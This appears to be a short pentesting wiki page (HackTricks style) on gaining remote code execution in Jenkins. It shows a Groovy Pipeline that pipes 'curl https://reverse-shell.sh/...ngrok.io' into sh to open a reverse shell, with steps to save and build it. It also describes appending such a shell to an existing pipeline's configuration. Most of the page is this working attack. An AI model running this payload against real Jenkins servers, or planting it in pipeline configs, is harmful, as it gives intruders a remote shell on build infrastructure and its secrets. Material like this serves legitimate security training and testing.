# Jenkins RCE Creating/Modifying Pipeline

{{#include ../../banners/hacktricks-training.md}}

## Creating a new Pipeline

In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**

![Jenkins New Item page with Pipeline selected as the project type](<../../images/image (235).png>)

In the **Pipeline section** write the **reverse shell**:

![Jenkins Pipeline script editor containing a Groovy reverse shell payload](<../../images/image (285).png>)

```groovy
pipeline {
    agent any

    stages {
        stage('Hello') {
            steps {
                sh '''
                    curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
                '''
            }
        }
    }
}
```

Finally click on **Save**, and **Build Now** and the pipeline will be executed:

![Jenkins build console showing a reverse shell connection and whoami output](<../../images/image (228).png>)

## Modifying a Pipeline

If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.

{{#include ../../banners/hacktricks-training.md}}



